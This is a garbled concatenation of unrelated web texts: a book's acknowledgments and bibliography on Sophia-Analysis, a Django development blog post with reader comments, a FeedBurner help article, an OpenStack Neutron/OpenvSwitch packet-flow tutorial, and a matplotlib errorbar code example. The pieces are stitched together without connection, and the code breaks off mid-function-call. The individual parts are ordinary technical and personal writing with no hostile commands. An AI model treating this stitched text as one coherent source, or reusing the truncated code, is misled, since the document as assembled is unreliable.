Anthropology in Russian and who has created a website on Sophia-Analysis in Russian and English. I thank Bruno Bonvecchi, Director of the IPAE of Cosenza, Italy, who created together with his wife Ombretta Ciapini week-long seminars on Onirodrama and Cosmo-Art, taking them all over: to the peaks of the Alps, on the sea in Croatia and in the Maroccan desert.
254
I thank Emanuele Chimienti who, after my book on the Ulysseans was published, changed the name of the Institute he directs in Lecce to “Gli Ulissidi” {The Ulysseans} , giving it a clearer project based on Cosmo-Art. I thank Enrico Belli, Director of the Institute in Catanzaro, Italy, for the books he has published about my teachings and in particular about secondary beauty I thank Herve’ Etienne in Paris for having obtained in 2005, after a long, important commitment to this project, recognition of Sophia-Analysis as a therapeutic method and of the Paris Institute of Sophia-Analysis (ISAP) as a training school for psychotherapists. I will never be able to thank him enough for this important accomplishment. I thank Giampiero Ciappina, Director of the Solaris Institute together with his wife Paola Capriani, who has taken care of the Sophia University of Rome website for many years, as well as of the publication of my books on the Internet. Special thanks for Enea Ruzzettu and his wife Paola that are taking care to create a foundation for the diffusion of my books on the website. I thank Anna Agresti and Angela Marchi who, by combining their energies, opened the first school of counseling in Cosmo-Artistic Counseling in 2006, in Prato and in Bologna. I must say something more about Anna Agresti. At a time when she was submerged by profound grief over the death of her daughter Sandra, after I had comforted her for quite some time I asked her to transform her pain into creativity, as Cosmo-Art suggests. She listened to me by creating the Associazione Microcosmo {Microcosmos Association} and the “Premio Cinema e Narrativa” {Cinema and Fiction Award} , for young people who send in a SophiaArtistic critique of one of four films that are chosen every year. The Award is going forward very successfully and is now in its tenth year. In the Manifest of CosmoArt I wrote that pain serves for creating and Anna Agresti gave a practical, visible form to this correct use of pain, by creating a new identity inside of herself and creating an association for young people. Finally, I want to thank Luigi Atella and Bruno Coniglio who transferred the Odyssey on to a digital format, which made it much easier for me to look for the verses that I needed to illustrate my hypotheses. I also thank Antonio Scarcella, President of the Associazione Galassia {Galaxy Association} in Ugento, who has taken care of the printing and distribution of my books in Italy, with great love and patience, for many years. I want everyone to know how this group effort was an enormous form of encouragement while I was writing this book.
255
OTHER BOOKS BY THE SAME AUTHOR
AMORE E PERSONA {Love and the Person} * 3° ed. Costellazione d’Arianna, Rome 1993 TEORIA DELLA PERSONA {The Theory of the Person} 2° ed. Costellazione di Arianna, Rome 1992 AMORE LIBERTA’ E COLPA {Love, Freedom and Guilt} * 2° ed. Sophia University of Rome (S.U.R.), Rome 2000 LA VIE COMME OEUVRE D’ART {Life as a Work of Art} * Ed. Sophia University of Rome (S.U.R.), Rome 1988 ANTROPOLOGIA ESISTENZIALE E METAPSICOLOGIA PERSONALISTICA ** {Theory of the Person and Existential Personalistic Anthropology }** Ed. Sophia University of Rome (S.U.R.), Rome 1991 TEORIA DELL’INCONSCIO ESISTENZIALE {The Theory of the Existential Unconscious} Ed. Costellazione d’Arianna Rome 1995 LE LEGGI DELLA VITA {The Laws of Life} Ed. Sophia University of Rome (S.U.R.), Rome 1995 LA VITA COME OPERA D’ARTE E LA VITA COME DONO SPIEGATA IN 41 FILM {Life as a Work of Art and Life as a Gift Explained in 41 films} Ed. Sophia University of Rome (S.U.R.), Rome 1995 GLI ULISSIDI – Il teorema e il mito per navigare da un universo all’altro {The Ulysseans – the theorem and the myth for navigating from one universe to another} ** Ed. Sophia University of Rome (S.U.R.), Rome 1997 LA SOPHIA-ANALISI E L’EDIPO {Sophia-Analysis and the Oedipal Phase} Ed. Sophia University of Rome (S.U.R.), Rome 2000 LA NASCITA DELLA COSMO-ART {The Birth of Cosmo Art} Ed. Sophia University of Rome (S.U.R.), Rome 2000 TEOREMI E ASSIOMI DELLA COSMO-ART {Theorems and Axioms of Cosmo-Art} ** Ed. Sophia University of Rome (S.U.R.), Rome 2004
256
IL MITO DI ULISSE E LA BELLEZZA SECONDA {The Myth of Ulysses and Secondary Beauty} ** Ed. Sophia University of Rome (S.U.R.), Rome 2005 I LABORATORI CORALI DELLA COSMO-ART {The Cosmo-Art Group Laboratories} Ed. Sophia University of Rome (S.U.R.), Rome 2006 *****
* The books that have one asterisk are in the process of being translated into English. ** Those with two asterisks have already been translated.
257 | https://www.scribd.com/document/34601696/Hypotheses-on-Ulysses | CC-MAIN-2018-22 | refinedweb | 96,013 | 64.14 |
Table of Contents
Intro
This is going to be quite a lengthy blogpost so I’ll try to explain its structure first. I’ll start with a high level overview of components used to build virtual networks by examining 3 types of traffic:
- Unicast traffic between VM1 and VM2
- Unicast traffic between VM1 and the outside world (represented by an external subnet)
- Broadcast, Unknown unicast and Multicast or BUM traffic from VM1
Following that I’ll give a brief overview of how to interpret the configuration and dynamic state of OpenvSwitch to manually trace the path of a packet. This will be required for the next section where I’ll go over the same 3 types of traffic but this time corroborating every step with the actual outputs collected from the virtual switches. For the sake of brevity I’ll abridge a lot of the output to only contain the relevant information.
High Level Overview
Neutron server, residing in a control node, is responsible for orchestrating and provisioning of all virtual networks within an OpenStack environment. Its goal is to enable end-to-end reachability among the VMs and between the VMs and external subnets. To do that, Neutron uses concepts that should be very familiar to every network engineer like subnet, router, firewall, DHCP and NAT. In the previous post we’ve seen how to create a virtual router and attach it to public and private networks. We’ve also attached both of our VMs to a newly created private network and verified connectivity by logging into those virtual machines. Now let’s see how exactly these VMs communicate with each other and the outside world.
Unicast frame between VM1 and VM2
As soon as the frame leaves the vNIC of VM1 it hits the firewall. The firewall is implemented on a tap interface of the integration bridge. A set of ACL rules, defined in a Security Group that VM belongs to, gets translated into Linux iptables rules and attached to this tap interface. These simple reflexive access lists are what VMware and Cisco are calling microsegmentation and touting as one of the main use case of their SDN solutions.
Next our frame enters the integration bridge implemented using OpenvSwitch. Its primary function is to interconnect all virtual machines running on the host. Its secondary function is to provide isolation between different subnets and tenants by keeping them in different VLANs. VLAN IDs used for this are locally significant and don’t propagate outside of the physical host.
A dot1q-tagged packet is forwarded down a layer 2 trunk to the tunnel bridge, also implemented using OpenvSwitch. It is programmed to strip the dot1q tags, replace them with VXLAN headers and forward an IP/UDP packet with VXLAN payload on to the physical network.
Our simple routed underlay delivers the packets to the destination host, where the tunnel bridge swaps the VNI with a dot1q tag and forwards the packet up to the integration bridge.
Integration bridge consults the local MAC table, finds the output interface, clears the dot1q tag and send the frame up to the VM.
The frame gets screened by incoming iptables rules and gets delivered to the VM2.
Unicast frame between VM1 and External host
The first 3 steps will still be the same. VM1 sends a frame with destination MAC address of a virtual router. This packet will get encapsulated in a VXLAN header and forwarded to the Network node.
The tunnel and integration bridges of the network node deliver the packet to the private interface of a virtual router. This virtual router lives in a linux network namespaces (similar to VRFs) used to provide isolation between OpenStack tenants.
The router finds the outgoing interface (a port attached to the external bridge), and a next-hop IP which we have set when we configured a public subnet earlier.
The router then performs a source NAT on the packet before forwarding it out. This way the private IP of the VM stays completely hidden and hosts outside of OpenStack can talk back to the VM by sending packets to (publicly routable) external subnet.
External bridge (also an OpenvSwitch) receives the packet and forwards it out the attached physical interface (eth1.300).
BUM frame from VM1 for MAC address of VM2
VM1 sends a multicast frame, which gets examined by the iptables rules and enters the integration bridge.
The integration bridge follows the same process as for the unicast frame to assign the dot1q tag and floods the frame to the tunnel bridge.
The tunnel bridge sees the multicast bit in the destination MAC address and performs source replication by sending a duplicate copy of the frame to both compute host #2 and the network node.
Tunnel bridges of both receiving hosts strip the VXLAN header, add the dot1q tag and flood the frame to their respective integration bridges.
Integration bridges flood the frame within the VLAN identified by the dot1q header.
The response from VM2 follows the same process as the unicast frame.
One thing worth noting is when an ARP packet enters the integration bridge, its source IP address (in case of IPv4) or source MAC address (in case of IPv6) gets examined to make sure it belong to that VM. This is how ARP spoofing protection is implemented in OpenStack.
OpenvSwitch quick intro
Before we dive deeper into the details of the packet flows inside OVS let me give a brief overview of how it works. There are two main protocols to configure OVS:
OVSDB - a management protocol used to configure bridges, ports, VLANs, QoS, monitoring etc.
OpenFlow - used to install flow entries for traffic switching, similar to how you would configure a static route but allowing you to match on most of the L2-L4 protocol headers.
Control node instructs all local OVS agents about how to configure virtual networks. Each local OVS agent then uses these two protocols to configure OVS and install all the required forwarding entries. Each entry contains a set of matching fields (e.g. incoming port, MAC/IP addresses) and an action field which determines what to do with the packet. These forwarding entries are implemented as tables. This is how a packet traverses these tables:
First packet always hits table 0. The entries are examined in order of their priority (highest first) to find the first match. Note that it’s the first and not necessarily the more specific match. It’s the responsibility of a controller to build tables so that more specific flows are matched first. Normally this is done by assigning a higher priority to a more specific flow. Exact matches (where all L2-L4 fields are specified) implicitly have the highest priority value of 65535.
When a flow is matched, the action field of that flow is examined. Here are some of the most commonly used actions:
These actions can be combined in a sequence to create complex behaviours like sending the same packet to multiple ports for multicast source replication.
OVS also implements what Cisco calls Fast switching, where the first packet lookup triggers a cache entry to be installed in the kernel-space process to be used by all future packets from the same flow.
Detailed packet flow analysis
Let’s start by recapping what we know about our private virtual network. All these values can be obtained from Horizon GUI by examining the private network configuration under Project -> Network -> Networks -> private_network:
- VM1, IP=10.0.0.8, MAC=fa:16:3e:19:e4:91, port id = 258336bc-4f38-4bec-9229-4bc76e27f568
- VM2, IP=10.0.0.9, MAC=fa:16:3e:ab:1a:bf, port id = e5f7eaca-1a36-4b08-aa9b-14e9787f80b0
- Router, IP=10.0.0.1, MAC=fa:16:3e:cf:89:47, port id = 96dfc1d3-d23f-4d28-a461-fa2404767df2
The first 11 characters of port id will be used inside an integration bridge to build the port names, e.g.:
- tap258336bc-4f - interface connected to VM1
- qr-96dfc1d3-d2 - interface connected to the router
Enumerating OVS ports
In its forwarding entries OVS uses internal port numbers a lot, therefore it would make sense to collect all port number information before we start. This is how it can be done:
Use
ovs-vsctl showcommand to collect information about existing port names and their attributes (e.g. dot1q tag, VXLAN tunnel IPs, etc). This is the output collected on compute host #1:
$ ovs-vsctl show | grep -E "Bridge|Port|tag|options" Bridge br-tun Port br-tun Port patch-int options: {peer=patch-tun} Port "vxlan-0a00020a" options: {df_default="true", in_key=flow, local_ip="10.0.1.10", out_key=flow, remote_ip="10.0.2.10"} Port "vxlan-0a00030a" options: {df_default="true", in_key=flow, local_ip="10.0.1.10", out_key=flow, remote_ip="10.0.3.10"} Bridge br-int Port br-int Port "tap258336bc-4f" tag: 5 Port patch-tun options: {peer=patch-int}
Use
ovs-ofctl dump-ports-desc <bridge_ID>command to correlate port names and numbers. Example below is for integration bridge of compute host #1:
$ ovs-ofctl dump-ports-desc br-int | grep addr 2(patch-tun): addr:5a:c5:44:fc:ac:72 7(tap258336bc-4f): addr:fe:16:3e:19:e4:91 LOCAL(br-int): addr:46:fe:10:de:1b:4f
I’ve put together a diagram showing all the relevant integration bridge (br-int) and tunnel bridge (br-tun) ports on all 3 hosts.
Unicast frame between VM1 and VM2
1 - Frame enters the br-int on port 7. Default iptables rules allow all outbound traffic from a VM.
2 - Inside the br-int our frame is matched by the “catch-all” rule which triggers the flood-and-learn behaviour:
$ ovs-ofctl dump-flows br-int table=0, priority=10,arp,in_port=7 actions=resubmit(,24) table=0, priority=0 actions=NORMAL
3 - Since it’s a unicast frame the MAC address table is already populated by ARP:
$ ovs-appctl fdb/show br-int port VLAN MAC Age 2 5 fa:16:3e:ab:1a:bf 1
Target IP address is behind port 2 which is where the frame gets forwarded next.
4 - Inside the tunnel bridge the frame will match three different tables. The first table simply matches the incoming port and resubmits the frame to table 2. Table 2 will match the unicast bit of the MAC address (the least significant bit of the first byte) and resubmit the frame to unicast table 20:
$ ovs-ofctl dump-flows br-tun table=0, priority=1, in_port=1 actions=resubmit(,2) table=2, priority=0, dl_dst=00:00:00:00:00:00/01:00:00:00:00:00 actions=resubmit(,20) table=20, priority=1, vlan_tci=0x0005/0x0fff,dl_dst=fa:16:3e:ab:1a:bf actions=load:0->NXM_OF_VLAN_TCI[],load:0x54->NXM_NX_TUN_ID[],output:2
The final match is done on a VLAN tag and destination MAC address. Resulting action is a combination of three consecutive steps:
1 - Clear the dot1q tag - load:0->NXM_OF_VLAN_TCI[] 2 - Tag the frame with VNI 0x54 - load:0x54->NXM_NX_TUN_ID[] 3 - Send the frame to compute host 2 - output:2
This last match entry is quite interesting in a way that it contains the destination MAC address of VM2, which means this entry was created after the ARP process. In fact, as we’ll see in the next step, this entry is populated by a learn action triggered by the ARP response coming from VM2.
5 - A VXLAN packet arrives at compute host 2 and enters the tunnel bridge through port 2. It’s matched on the incoming port and resubmitted to a table where it is assigned with an internal VLAN ID 3 based on the matched tunnel id 0x54.
$ ovs-ofctl dump-flows br-tun table=0, priority=1,in_port=2 actions=resubmit(,4) table=4, priority=1,tun_id=0x54 actions=mod_vlan_vid:3,resubmit(,10) table=10, priority=1 actions=learn(table=20,hard_timeout=300,priority=1
The last match does two things:
1 - Creates a mirroring entry in table 20 for the reverse packet flow. This is the entry similar to the one we've just seen in step 4. </li> 2 - Sends the packet towards the integration bridge.</li>
6 - The integration bridge checks the local dynamic MAC address table to find the MAC address of VM2(1a:bf).
$ ovs-appctl fdb/show br-int port VLAN MAC Age 5 3 fa:16:3e:ab:1a:bf 0
7 - The frame is checked against the iptables rules configured on port 5 and gets sent up to VM2
Unicast frame to external host (192.168.247.1)
1 - The first 5 steps will be similar to the previous section. The only exception will be that the tunnel bridge of compute host 1 will send the VXLAN packet out port 3 towards the network node.
2 - The integration bridge of the network node consults the MAC address table to find the location of the virtual router (89:47) and forwards the packet out port 6.
$ ovs-appctl fdb/show br-int port VLAN MAC Age 6 1 fa:16:3e:cf:89:47 1
3 - The virtual router does the route lookup to find the outgoing interface (qg-18bff97b-57)
$ ip route get 192.168.247.1 192.168.247.1 dev qg-18bff97b-57 src 192.168.247.90
Remember that since our virtual router resides in a network namespace all commands must be prepended with
ip netns exec qrouter-uuid
4 - The virtual router performs the source IP translation to hide the private IP address:
$ iptables -t nat -S | grep qg-18bff97b-57 -A neutron-l3-agent-POSTROUTING ! -i qg-18bff97b-57 ! -o qg-18bff97b-57 -m conntrack ! --ctstate DNAT -j ACCEPT -A neutron-l3-agent-snat -o qg-18bff97b-57 -j SNAT --to-source 192.168.247.90
By default all packets will get translated to the external address of the router. For each assigned floating IP address there will be a pair of source/destination NAT entries created in the same table.
5 - The router consults its local ARP table to find the MAC address of the next hop:
$ ip neigh show 192.168.247.1 192.168.247.1 dev qg-18bff97b-57 lladdr 00:50:56:c0:00:01 DELAY
6 - External bridge receives the frame from the virtual router on port 4, consults its own MAC address table built by ARP and forwards the packet to the final destination.
$ ovs-appctl fdb/show br-ex port VLAN MAC Age 4 0 fa:16:3e:5c:90:e0 1 1 0 00:50:56:c0:00:01 1
BUM frame from VM1 for MAC address of VM2
1 - The integration bridge of the sending host will check the source IP of the ARP packet to make sure it hasn’t been spoofed before flooding the packet within the local broadcast domain (VLAN 5).
$ ovs-ofctl dump-flows br-int table=0, priority=10,arp,in_port=7 actions=resubmit(,24) table=24, priority=2,arp,in_port=7,arp_spa=10.0.0.8 actions=NORMAL
2 - The flooded packet reaches the tunnel bridge where it goes through 3 different tables. The first table matches the incoming interface, the second table matches the multicast bit of the MAC address.
$ ovs-ofctl dump-flows br-tun table=0, priority=1,in_port=1 actions=resubmit(,2) table=2, priority=0,dl_dst=01:00:00:00:00:00/01:00:00:00:00:00 actions=resubmit(,22) table=22, dl_vlan=5 actions=strip_vlan,set_tunnel:0x54,output:3,output:2
The final table swaps the dot1q and VXLAN identifiers and does the source replication by forwarding the packet out ports 2 and 3. 3 - The following steps are similar to the unicast frame propagation with the exception that the local MAC table of the integration bridges will flood the packet to all interfaces in the same broadcast domain. That means that duplicate ARP requests will reach both the private interface of the virtual router and VM2. The latter, recognising its own IP, will send a unicast ARP response whose source IP will be verified by the ARP spoofing rule of the integration bridge. As the result of that process, both integration bridges on compute host 1 and 2 will populate their local MAC tables with addresses of VM1 and VM2.
Native OpenStack SDN advantages and limitation
Current implementation of OpenStack networking has several advantages compared to the traditional SDN solutions:
- Data-plane learning allows network to function even in the absence of the controller node
- Multicast source replication does not rely on multicast support in the underlay network
- ARP spoofing protection is the default security setting
However at this point it should also be clear that there a number of limitations that can impact the overall network scalability and performance:
- Multicast source replication creates unnecessary overhead by flooding ARP packets to all hosts
- All routed traffic has to go through the network node which becomes a bottleneck for the whole network
- There is no ability to control physical devices, even the ones that support OVSDB/Openflow
- Network node must be layer 2 adjacent with the external network segment
Things to explore next
In the following posts I’ll continue poking around Neutron and explore a number of features designed to address some of the limitations described above:
- L2 population
- Distributed Virtual Router
- L2 hardware gateway
- Network High Availability
- Load-Balancing-as-a-Service
- Open Virtual Network for OVS
- Neutron’s dynamic BGP routing
C2O
While writing this post I’ve compiled a list of commands most useful to query the state of OpenvSwitch. So now, inspired by a similar IOS to JUNOS (I2J) command conversion tables, I’ve put together my own Cisco to OVS conversion table, just for fun.
References
In this post I have glossed over some details like iptables and DHCP for the sake of brevity and readability. However this post wouldn’t be complete if I didn’t include references to other resources that contain a more complete, even if at times outdated, overview of OpenStack networking. This is also a way to pay tribute to blogs where I’ve learned most of what I was writing about here: | https://networkop.co.uk/blog/2016/04/22/neutron-native/ | CC-MAIN-2020-05 | refinedweb | 3,034 | 56.08 |
Is there a way to consume a paged API via an AutoQuery ServiceSource? i.e. is there are a way to create a custom AutoQuery Data implementation that handles skip/take and passes it to the underlying API?
The ServiceClients GetLazy() API can consume an AutoQuery Services over an IEnumerable which will send multiple paged requests behind the scenes.
IEnumerable
Yes, but if the the source of the AutoQuery Service is a paged API itself? I want to wire up an API that has paging (but little else) to AutoQuery so I can leverage AutoQuery's filtering capabilities. Do I have to essentially implement a GetLazy() approach for the source API, then hand the results over to AutoQuery?
Not sure I know what you're looking for, if you're implementing ServiceSource you have control over entire the implementation so you can just forward the paged params to the API it's calling? What's the underlying API another AutoQuery Service?
It's a Cassandra DB that I'm accessing through a client library. I have one route that gets all the connections:
[Route("/vpn/connections", "GET", Summary = "Gets all Vpn connections")]
public class GetVpnConnections : IReturn<List<VpnConnection>>
{
}
And another that uses the above as a AutoQuery Service:
[Route("/vpn/connections/search", "GET", Summary = "Search VPN connection information")]
public class SearchVpnConnections : QueryData<VpnConnection>
{
}
associated line in Global.asax:
//Other datasources above this
.AddDataSource(ctx =>ctx.ServiceSource<VpnConnection>(new GetVpnConnections(), HostContext.Cache, TimeSpan.FromSeconds(60))));
I use this pattern when I want to leverage all the parameters that AutoQuery wires up automatically (including particular fields, filtering/sorting etc...) So if I want to modify things to pass paging parameters, would I just add Skip and Take Parameters to the two classes above (and handle them in the underlying cassandra code)?
I should clarify that I know AutoQuery itself does paging, but I'd like to lessen the initial load on GetVpnConnections (as is it's returning all the rows).
GetVpnConnections
The AutoQuery QueryData<T> base class already has Skip/Take fields so you should just be able to pass that through to the Cassandra Query right?
QueryData<T>
Right, that's what I thought, I would just trying to figure out how things like the Total number of results work in that case... if the fetch call is only pulling in 100 records at a time (passed in from QueryData), how does AutoQuery know how many total records are there (assuming no other filtering)?
Apologies if I'm missing something obvious.
Right It can’t know how many total results there are. To reduce load you could cap the results from the underlying API to 1000 or temporarily cache the results so the clients are only paging through an in memory result set. | https://forums.servicestack.net/t/autoquery-data-servicesource-paging/5164 | CC-MAIN-2018-43 | refinedweb | 462 | 50.77 |
I am beginning to learn Python and started experimenting with an example code block. I edited it a few times, and on the last edit that I did, I added an optional random password generator. Then I decided that it would make more sense to put the password generator into a separate document, so I copied the necessary code and made a new document. After editing it however, I cannot generate an even number of digits in the password.
Pastebin
Copy of Faulty Code (Pastebin)
import math
import random
alpha = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
print('Would you like a random password suggestion generator', 'Yes or No')
permissionRandomGenerator = input().lower()
print('How long do you want your password?')
lengthRandomGenerator = int(input())
if permissionRandomGenerator == 'yes':
def randInt():
return math.floor(random.random()*10)
def randChar():
return alpha[math.floor(random.random()*27)]
randPasswordList = []
listInsert = 0
def changeCase(f):
g = round(random.random())
if g == 0:
return f.lower()
elif g == 1:
return f.upper()
while listInsert < lengthRandomGenerator:
randPasswordList.insert(listInsert, randInt())
listInsert = listInsert + 1
if listInsert >= lengthRandomGenerator:
break
randPasswordList.insert(listInsert, randChar())
randPasswordList[listInsert] = changeCase(randPasswordList[listInsert])
listInsert = listInsert + 1
continue
listInsert = 0
printList = 0
if lengthRandomGenerator <= 0:
print('It has to be longer than that')
elif lengthRandomGenerator >= 25:
print('I can\'t generate a password that long')
elif math.isnan(lengthRandomGenerator):
print('error: not valid data type')
else:
while printList < (len(randPasswordList)-1):
printItem = randPasswordList[printList]
print(printItem)
printList = printList + 1
printList = 0
randPasswordList = []
elif permissionRandomGenerator == 'no':
print('Too bad...')
else:
print('You had to answer Yes or No')
I refactored your program a bit, and got rid of a lot of unnecessary steps and inconsistencies. Here it is in full, then I'll explain each part:
import random import string import sys possible_chars = string.ascii_letters + string.digits + string.punctuation def nextchar(chars): return random.choice(chars) yes_or_no = input(""" Would you like a random password suggestion generated? Type Yes to continue: """).lower() if yes_or_no == 'yes': try: pwd_len = int(input('How long do you want your password? ')) except ValueError: sys.exit("You need to enter an integer. Please start the program over.") if 0 < pwd_len < 26: new_pwd = "" for _ in range(pwd_len): new_pwd += nextchar(possible_chars) print("Your new password is:\n" + new_pwd) else: print("I can only generate passwords between 1 and 25 characters long.") else: print("Well then, why did you run me?")
Python is not just the syntax and builtin functions, it is also the standard library or stdlib. You're going to be working with the stdlib's modules all the time, so when you think you'll be using one, read the docs! You'll learn about the module, what its intended use is, some of its history and changes (such as in which version a certain function was added), and all of the classes, functions, and attributes contained therein. Make sure you read the whole thing (none of them are that long) and try to get at least a basic idea of what each thing does. That way, such as in this case, you'll be able to pick the best function for the job. One thing I like to do in my spare time is just pick a random module and read the docs, just to learn. They're generally fairly well written, and usually pretty inclusive. Get used to Monty Python references, they're everywhere.
import random import string import sys
Imports are first, and should almost always be only at the top. I like to put mine in alphabetical order, with the stdlib on top, then a blank line, then 3rd-party modules, including self-written ones next. Put a blank line or two after the imports as well. One thing to remember, that I mentioned in the comments: readability counts. Code is not only meant to be read by machines, but by people as well. Comment when necessary. Be generous with whitespace (also remember that whitespace is syntactically important in Python as well, so it forces you to indent properly) to separate related bits of code, functions, classes, blocks, etc. I highly recommend reading, rereading, and spending time pondering PEP-8, the Python style guide. Its recommendations aren't absolute, but many projects that enforce coding standards rely on it. Try to follow it as much as you can. If a line comes out to 83 characters, don't sweat it, but be aware of what you're doing.
The reason I made such a big deal out of reading the docs is the following few lines:
possible_chars = string.ascii_letters + string.digits + string.punctuation def nextchar(chars): return random.choice(chars)
They get rid of about half of your code.
string contains a bunch of predefined constants for working with strings. The three I chose should all be good valid password characters. If you're on a system that won't take punctuation marks, just remove it. Note that
possible_chars is a string - like tuples, lists and dicts, strings are iterable, so you don't need to make a separate list of each individual possible character.
Next is the function - it replaces your
randInt(),
randChar(), and
changeCase() functions, along with a bunch of your inline code, which was rather bizarre, to tell you the truth. I liked the method you came up with to decide if a letter was upper- or lower-case, but the rest of it was just way too much effort when you have
random.choice() and the
string constants from above.
yes_or_no = input(""" Would you like a random password suggestion generated? Type Yes to continue: """).lower()
You may not have been aware, but you don't need to
print() a description string before getting user
input() - just pass the string as a single argument to
input() and you'll get the same effect. I also used a triple-quoted
""" (
''' can also be used) string literal that differs from the more common single-
' and double-quoted
" string literals in that any newlines or tabs contained within it don't need to be escaped. The take-home for now is that you can write several lines of text, and when you
print() it, it will come out as several lines.
try: pwd_len = int(input('How long do you want your password? ')) except ValueError: sys.exit("You need to enter an integer. Please start the program over.")
I used a
try/except block for the next part. If the user enters a non-integer up at the input prompt, the
int() function will fail with a
ValueError. I picked the simplest manner possible of dealing with it: if there's an error, print a message and quit. You can make it so that the program will re-ask for input if an error is raised, but I figured that was beyond the scope of this exercise.
if 0 < pwd_len < 26: new_pwd = "" for _ in range(pwd_len): new_pwd += nextchar(possible_chars) print("Your new password is:\n" + new_pwd) else: print("I can only generate passwords between 1 and 25 characters long.")
Here is where all the action happens. Using an
if/else block, we test the desired length of the password, and if it's between 1 and 25 (an arbitrary upper bound), we generate the password. This is done with a
for loop and the
range() function (read the docs for exactly how it works). You'll notice that I use a common Python idiom in the
for loop: since I don't actually need the number generated by
range(), I "throw it away" by using the underscore
_ character in place of a variable. Finally, the
else statement handles the alternative - either
pwd_len is 0 or less, or 26 or greater.
else: print("Well then, why did you run me?")
We're at the end of the program! This
else is paired with the
if yes_or_no == 'yes': statement - the user entered something other than yes at the input prompt.
Hopefully this will help you understand a little bit more about how Python works and how to program efficiently using it. If you feel like you're spending a bit too much time implementing something that you think should be easier, you're probably right. One of Python's many advantages is its "batteries included" philosophy - there's a huge range of things you can do with the stdlib. | https://codedump.io/share/F4allcZOpHSA/1/faulty-random-password-generator-python-3 | CC-MAIN-2017-09 | refinedweb | 1,408 | 63.39 |
Upcoming changes to Django development version
For a long time, we've recommended that people use the Django development version instead of the latest Django release, as we try hard to keep the development version stable. We're loosening that policy, temporarily, for the immediate future, in order to make a number of backwards-incompatible changes to the development version.
Examples of some of these changes are:
- Removing the
auto_nowand
auto_now_addoptions in Django models.
- Finishing and merging the "newforms-admin" branch, which changes the way admin options are specified (and gives you a lot more flexibility).
- Removing the
LazyDateshortcut.
- Renaming
django.contrib.localflavor.usato
django.contrib.localflavor.us.
The biggest change is probably the newforms-admin functionality.
Therefore, if you use the Django development version in production settings (as many people, including I, do), take a look at the "Backwards-incompatible changes" wiki page before updating your Django code to make sure your code won't break.
If you use a specific Django release, such as 0.96, you have nothing to worry about. You simply may have to make some changes to your code when you upgrade to the next Django release.
This is, we hope, the final run of backwards-incompatible changes before version 1.0, at which point we'll be committed to compatibility.
If you'd like to discuss these changes, feel free to post a message to the django-developers mailing list.
Posted by Adrian Holovaty on April 6, 2007
Adrian Holovaty April 6, 2007 at 10:22 a.m.
DougN: That's a great topic for the django-developers mailing list. :)
Ben Ye April 13, 2007 at 10:20 a.m.
When is Django launching the 1.0 release?
We started using Django since ver0.91. It's been a good experience. However, since we are building commercial web site, I really hope the system could be build on an official 1.0 release so that we don't have to worry about incompatibility issue in the future.
Markus May 17, 2007 at 7:49 p.m.
I would also really like to know if there is some kind of time window when it will be out..
Also because of the reasons Ben Ye pointed out.
I wondered because I cannot think that the Django Book will use pre-1.0 content.
PS: I have to things I have seen for django.
1. a syntax highlightning file for Django HTML Templates:...
2. a colorscheme with the "offical" django colors:...
Dont know where to put this information.
To prevent spam, comments are no longer allowed after sixty days.
DougN April 6, 2007 at 9:56 a.m.
I use the auto_now and auto_add_now options extensively, and have had to deal with many of the side effects in save() when dealing with edit_inline. It's a pain, but the benefits have always seemed to out weigh the problems.
Are there plans to provide helpers for getting this functionality back in a cleaner way? Maybe some Decorators for your models save method?
@auto_now('updatted_on')
@auto_add_now('submitted_date')
def save(self):
____super(MyModel).save() | http://www.djangoproject.com/weblog/2007/apr/06/changes/ | crawl-002 | refinedweb | 515 | 58.18 |
FeedBurner won't accept my feed, or it did at first but has stopped updating. What's wrong?
If your feed has these XML tags in it:
Code:
<o:p>(some text)</o:p>
It is very likely that your feed will be considered invalid by FeedBurner, Feed Validator, and possibly many other places to which you want your feed properly distributed. The result is that FeedBurner will stop updating its version of your feed until the validation problem is repaired.
The
<o:p> tag is usually introduced by a copy-paste of original text from Microsoft Word or another Office application; this tag originates in a Microsoft XML "namespace," or definition of a custom set of tags used for XML markup. The best way to avoid this problem is to avoid composing and copying content from Word into your blogging tools. If you still want to use content found in Office applications, a common trick for removing extraneous code is to "clean" copied text by pasting it into a plain text editor, such as Notepad (Windows) or TextEdit (Mac) and the copying the newly cleaned text before pasting it into your blogging application.
In general, using word processing applications to compose blog posts can lead to unexpected results (such as this one). We recommend that you compose new posts in a text editor recommended or provided by your blog platform publisher only. | https://support.google.com/feedburner/answer/79005?hl=en&ctx=cb&src=cb&cbid=-1je3mxpcxjbj9&cbrank=3 | CC-MAIN-2014-10 | refinedweb | 233 | 51.41 |
In matplotlib, errors bars can have "limits". Applying limits to the
error bars essentially makes the error unidirectional. Because of that,
upper and lower limits can be applied in both the y- and x-directions
via the
uplims,
lolims,
xuplims, and
xlolims parameters,
respectively. These parameters can be scalar or boolean arrays.
For example, if
xlolims is
True, the x-error bars will only
extend from the data towards increasing values. If
uplims is an
array filled with
False except for the 4th and 7th values, all of the
y-error bars will be bidirectional, except the 4th and 7th bars, which
will extend from the data towards decreasing y-values.
import numpy as np import matplotlib.pyplot as plt # example data x = np.array([0.5, 1.0, 1.5, 2.0, 2.5, 3.0, 3.5, 4.0, 4.5, 5.0]) y = np.exp(-x) xerr = 0.1 yerr = 0.2 # lower & upper limits of the error lolims = np.array([0, 0, 1, 0, 1, 0, 0, 0, 1, 0], dtype=bool) uplims = np.array([0, 1, 0, 0, 0, 1, 0, 0, 0, 1], dtype=bool) ls = 'dotted' fig, ax = plt.subplots(figsize=(7, 4)) # standard error bars ax.errorbar(x, y, xerr=xerr, yerr=yerr, linestyle=ls) # including upper limits ax.errorbar(x, y + 0.5, xerr=xerr, yerr=yerr, uplims=uplims, linestyle=ls) # including lower limits ax.errorbar(x, y + 1.0, xerr=xerr, yerr=yerr, lolims=lolims, linestyle=ls) # including upper and lower limits ax.errorbar(x, y + 1.5, xerr=xerr, yerr=yerr, lolims=lolims, uplims=uplims, marker='o', markersize=8, linestyle=ls) # Plot a series with lower and upper limits in both x & y # constant x-error with varying y-error xerr = 0.2 yerr = np.zeros_like(x) + 0.2 yerr[[3, 6]] = 0.3 # mock up some limits by modifying previous data xlolims = lolims xuplims = uplims lolims = np.zeros(x.shape) uplims = np.zeros(x.shape) lolims[[6]] = True # only limited at this index uplims[[3]] = True # only limited at this index # do the plotting ax.errorbar(x, y + 2.1, xerr=xerr, yerr=yerr, xlolims=xlolims, 